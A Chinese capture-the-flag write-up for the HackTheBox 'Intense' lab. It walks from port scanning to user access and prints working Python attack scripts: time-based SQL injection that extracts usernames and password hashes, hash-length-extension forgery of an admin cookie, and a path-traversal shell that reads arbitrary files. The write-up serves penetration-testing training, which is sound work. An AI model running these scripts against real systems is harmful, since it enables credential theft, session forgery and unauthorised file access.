intense靶场-获取User权限

  • A+
所属分类:安全文章

本文作者:jokelove(Ms08067内网安全小组成员)

intense靶场-获取User权限



Intense是HTB中一个难度中上的靶场,需要参与者具备下述能力:

1. Python源码审计 

2. SQL注入原理 

3. SNMP远程命令执行 

4. 栈溢出与ROP

开启Intense靶场环境之后,目标IP:10.10.10.195


原文链接: https://0xdf.gitlab.io/2020/11/14/htb-intense.html 

参考链接: https://www.romanh.de/writeup/htb-intense


0x01 信息收集

  1. 发现TCP端口开放情况

[email protected]# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.195Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-05 14:58 EDTNmap scan report for 10.10.10.195Host is up (0.36s latency).Not shown: 65533 filtered portsPORT STATE SERVICE22/tcp open ssh80/tcp open http

2. 对开放端口进行进一步识别

[email protected]# nmap -p 22,80 -sC -sV -oA scans/nmap-tcpscripts 10.10.10.195Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-05 14:59 EDTNmap scan report for 10.10.10.195Host is up (0.095s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)| 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)|_ 256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)80/tcp open http nginx 1.14.0 (Ubuntu)|_http-server-header: nginx/1.14.0 (Ubuntu)|_http-title: Intense - WebAppService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results athttps://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 11.84 seconds

3. 对UDP端口进行识别

[email protected]# nmap -sU -p- --min-rate 10000 -oA scans/nmap-alludp 10.10.10.195Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-08 15:33 EDTNmap scan report for 10.10.10.195Host is up (0.013s latency).Not shown: 65534 open|filtered portsPORT STATE SERVICE161/udp open snmpNmap done: 1 IP address (1 host up) scanned in 13.47 seconds
这里发现SNMP端口开放,可以尝试使用snmpwalk来探测是否存在敏感信息

4. 使用SNMP进行探测

[email protected]# snmpwalk -v 2c -c public 10.10.10.195SNMPv2-MIB::sysDescr.0 = STRING: Linux intense 4.15.0-55-generic #60-Ubuntu SMPTue Jul 2 18:22:20 UTC 2019 x86_64SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (18407) 0:03:04.07SNMPv2-MIB::sysContact.0 = STRING: MeSNMPv2-MIB::sysName.0 = STRING: intense# 省略部分信息 ..HOST-RESOURCES-MIB::hrSystemMaxProcesses.0 = No more variables left in this MIBView (It is past the end of the MIB tree)
snmpwalk没有获取到任何有用的敏感信息

利用上述过程,将信息进行总结:

目标IP
10.10.10.195
开放端口 80/http 21/ssh 161/snmp
操作系统 Ubuntu Bionic 18.04
WEB应用 Nginx/1.14.0
SSH版本 OpenSSH 7.6p1

通过Vulmon可以进一步对信息进行完善:

Vulmon 是一个漏洞检索引擎,可以通过应用版本查询相关漏洞情况
版本号 漏洞情况 漏洞说明
Ubuntu Bionic 18.04 CVE-2018-13405 https://vulmon.com/vulnerabilitydetails?qid=CVE-2
Nginx/1.14.0 CVE-2020-5505 https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-5505&scoretype=cvssv2
OpenSSH 7.6p1

CVE-2018-15473 

CVE-2017-15906

https://vulmon.com/searchpage?q=openssh+7.6&sortby=byrelevance&page=1

通过对CVE的鉴别分析,操作系统、WEB服务器、SSH均不存在可供利用的弱点。


0x02 业务应用分析 - 80端口

  1. WEB应用如下

intense靶场-获取User权限

用户名/口令: guest/guest 

登录入口: /login 

源码位置: /src.zip

2. 测试登录之后的功能

intense靶场-获取User权限可供输入的位置:/submit

目录爆破

[email protected]# gobuster dir -u http://10.10.10.195 -w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -oscansgobuster-root-medium===============================================================Gobuster v3.0.1by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)===============================================================[+] Url: http://10.10.10.195[+] Threads: 40[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Status codes: 200,204,301,302,307,401,403[+] User Agent: gobuster/3.0.1[+] Timeout: 10s===============================================================2020/07/05 15:10:16 Starting gobuster===============================================================/home (Status: 200)/login (Status: 200)/submit (Status: 200)/admin (Status: 403)/logout (Status: 200)===============================================================2020/07/05 15:19:16 Finished===============================================================


注入测试

intense靶场-获取User权限

利用上述过程,可得到以下信息:

1. 得到应用源码 

2. submit存在注入

3. 存在管理员入口 /admin


0x03 分析应用源码

  1. 分析登录逻辑

前端将用户名密码发送到 /postlogin 中
@app.route("/postlogin", methods=["POST"])def postlogin():# 尝试登录,如果成功,返回用户信息data = try_login(request.form)if data:resp = make_response("OK")# 创建一个session保存登录凭证session = lwt.create_session(data)cookie = lwt.create_cookie(session)resp.set_cookie("auth", cookie)return respreturn "Login failed"

分析 try_login 代码

def try_login(form):""" Try to login with the submitted user info """if not form:return Noneusername = form["username"]# 这里的password是经过hash_password处理过的password = hash_password(form["password"])result = query_db("select count(*) from users where username = ? and secret =?", (username, password), one=True)if result and result[0]:return {"username": username, "secret":password}return None

由于存在数据库中的密码是hash过的,所以我们有两种方法:

  • 破解hash 

  • 通过生成Cookie的方式绕过登录


0x04 获取admin权限

1. 爆破获得数据库存在的用户信息

时间盲注,可以使用SQLMap直接Dump,这里主要是使用编写的脚本
#!/usr/bin/env python3import requestsimport stringimport sysdef brute_user(res):for c in string.ascii_lowercase + string.digits:sys.stdout.write(f"r[*] Trying username: {res}{c.ljust(20)}")sys.stdout.flush()resp = requests.post("http://10.10.10.195/submitmessage",data=f"message='||(select username from users where username LIKE'{res + c}%' and load_extension('a'))||'",headers={"Content-Type": "application/x-www-form-urlencoded"},)if "not authorized" in resp.text:resp = requests.post("http://10.10.10.195/submitmessage",data=f"message='||(select username from users where username ='{res + c}' and load_extension('a'))||'",headers={"Content-Type": "application/x-www-form-urlencoded"},)if "not authorized" in resp.text:print(f"r[+] Found user: {res}{c.ljust(20)}")brute_pass(res + c)brute_user(res + c)def brute_pass(user):password = ""for i in range(64):for c in string.hexdigits:sys.stdout.write(f"r[+] Password: {password}{c}")sys.stdout.flush()resp = requests.post("http://10.10.10.195/submitmessage",data=f"message='||(select secret from users where username ='{user}' and substr(secret, {i+1},1) = '{c}' and load_extension('a'))||'",headers={"Content-Type": "application/x-www-form-urlencoded"},)if "not authorized" in resp.text:password += cbreakprint(f"r[+] Found secret: {password.ljust(20)}")brute_user("")print("r" + "".ljust(80))

intense靶场-获取User权限

获取 hash 如下:

admin:f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105guest:84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec

尝试爆破

hashcat -m 1400 ./hashes /content/wordlists/rockyou.txt --user

未爆破成功admin的密码

2. 分析Session的产生机制

create_session 代码

def create_session(data):""" Create session based on dict@data: {"key1":"value1","key2":"value2"}return "key1=value1;key2=value2;""""session = ""for k, v in data.items():session += f"{k}={v};"return session.encode()

create_cookie代码

def create_cookie(session):# 重点:这里传入的session也经过处理cookie_sig = sign(session)return b64encode(session) + b'.' + b64encode(cookie_sig)


可以看到,Cookie主要是将字典的值转换成"key=value;key2=value2"的形式进行base64编码

对guest的session值还原
[email protected]# echo"dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.QFyViArMNX8PRBdR1TZ7+0zPOsOAU5loeuTzGSKXig8=" | cut -d. -f1 | base64 -dusername=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;

所以,我们只要能够获取到secret即可以绕过登录。

备注:这里的secret是经过sign函数处理过的,跟从数据库中获取的secret有差别

3. 产生需要的secret

分析sign函数

def sign(msg):""" Sign message with secret key """return sha256(SECRET + msg).digest()

SECRET是一个随机数

SECRET = os.urandom(randrange(8, 15))

随机数在 8-15范围内,我们可以直接进行爆破

def try_signature(cookie):res = requests.get("%s/admin" % URL, cookies={"auth": cookie})return res.status_code == 200append = ';username=admin;secret=%s;' % admin_secretauth_cookie = session.cookies["auth"]b64_data, b64_sig = auth_cookie.split(".")data = base64.b64decode(b64_data)sig = base64.b64decode(b64_sig)for key_len in range(8, 16):(new_sig, new_data) = hashpumpy.hashpump(sig.hex(), data, append, key_len)new_sig = base64.b64encode(binascii.unhexlify(new_sig)).decode("UTF-8")new_data = base64.b64encode(new_data).decode("UTF-8")cookie = "%s.%s" % (new_data, new_sig)if try_signature(cookie):print("Found keylength=%d cookie=%s" % (key_len, cookie))

返回结果:

757365726e616d653d67756573743b7365637265743d383439383363363066376461616463316362383639383632316638303263306439663961336333633239356338313037343866623034383131356331383665633b80000000000000000000000000000000000000000000000003303b757365726e616d653d61646d696e3b7365637265743d663166633132303130633039343031366465663739316531343335646466646361656363663832353065333636333063306263393332383563323937313130353b

修改Cookie值进行登录:

intense靶场-获取User权限

0x05 实现任意文件读取


首先分析admin权限具有的功能

@admin.route("/admin")def admin_home():if not is_admin(request):abort(403)return render_template("admin.html")@admin.route("/admin/log/view", methods=["POST"])def view_log():if not is_admin(request):abort(403)logfile = request.form.get("logfile")if logfile:logcontent = admin_view_log(logfile)return logcontentreturn ''@admin.route("/admin/log/dir", methods=["POST"])def list_log():if not is_admin(request):abort(403)logdir = request.form.get("logdir")if logdir:logdir = admin_list_log(logdir)return str(logdir)return ''

针对 log 函数

#### Logs functions ####def admin_view_log(filename):if not path.exists(f"logs/{filename}"):return f"Can't find {filename}"with open(f"logs/{filename}") as out:return out.read()def admin_list_log(logdir):if not path.exists(f"logs/{logdir}"):return f"Can't find {logdir}"return listdir(logdir)

这里明显存在文件读取和目录泄露的漏洞,对输入的参数未作任何过滤

  • 测试漏洞是否存在

    测试目录泄露

漏洞位置:/admin/log/dir

参数:godir=.

intense靶场-获取User权限

测试文件读取

漏洞位置: /admin/log/view 

参数: logfile=../app.ini

intense靶场-获取User权限

编写利用脚本

#!/usr/bin/env python3import base64import binasciiimport requestsimport subprocessfrom cmd import Cmdclass Term(Cmd):prompt = "intense> "def __init__(self):Cmd.__init__(self)# Get Cookieresp = requests.post("http://10.10.10.195/postlogin",data={"username": "guest", "password": "guest"},headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF8"},)orig_cookie = resp.headers["Set-Cookie"].split("=", 1)[1]cookie_data_b64, cookie_sig_b64 = orig_cookie.split(".")cookie_data = base64.b64decode(cookie_data_b64).decode()cookie_sig_hex =binascii.hexlify(base64.b64decode(cookie_sig_b64)).decode()print("[+] Guest Cookie acquired")# Run hash extendercmd = "/opt/hash_extender/hash_extender --secret-min 8 --secret-max 15 "cmd += "--datausername=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec; "cmd += f"--signature {cookie_sig_hex} -f sha256 --table "cmd += "--append;username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;"hash_extender = (subprocess.check_output(cmd.split(" ")).strip().decode().split("n"))print("[*] Generated hash extensions for 8 to 15 byte secrets")for test_hash in hash_extender:new_cookie_data = base64.b64encode(binascii.unhexlify(test_hash.split(" ")[-1])).decode()new_cookie_sig = base64.b64encode(binascii.unhexlify(test_hash.split(" ")[-2])).decode()new_cookie = f"{new_cookie_data}.{new_cookie_sig}"resp = requests.get("http://10.10.10.195/home", cookies=dict(auth=new_cookie),)if not "You can login with the username and password" in resp.text:print(f"[+] Identified working cookie from generated options!")self.cookie = new_cookiebreakdef do_ls(self, args):"Usage: ls [path relative to /]"resp = requests.post("http://10.10.10.195/admin/log/dir",data={"logdir": f"../../../../../{args}"},cookies={"auth": self.cookie},)print(resp.text)def do_dir(self, args):"Usage: dir [path relative to /]"self.do_ls(args)def do_cat(self, args):"Usage: cat "resp = requests.post("http://10.10.10.195/admin/log/view",data={"logfile": f"../../../../../{args}"},cookies={"auth": self.cookie},)print(resp.text)def precmd(self, args):if len(args.split(" ")) > 2:c = args.split(" ", 2)[0]args = f"help {c}"return argsterm = Term()try:term.cmdloop()except KeyboardInterrupt:print()

0x06 结论

user.txt 位置在 /home/user/user.txt , 可以直接获取。

这里可以通过脚本枚举所有文件夹

intense> ls /home/user/user.txt#707580d2...


内网小组持续招人,扫描二维码加入我们!

intense靶场-获取User权限



intense靶场-获取User权限
Ms08067安全实验室

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

intense靶场-获取User权限 intense靶场-获取User权限

intense靶场-获取User权限intense靶场-获取User权限

intense靶场-获取User权限 intense靶场-获取User权限


2021 继续一起开心冲浪!

intense靶场-获取User权限

本文始发于微信公众号(Ms08067安全实验室):intense靶场-获取User权限

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: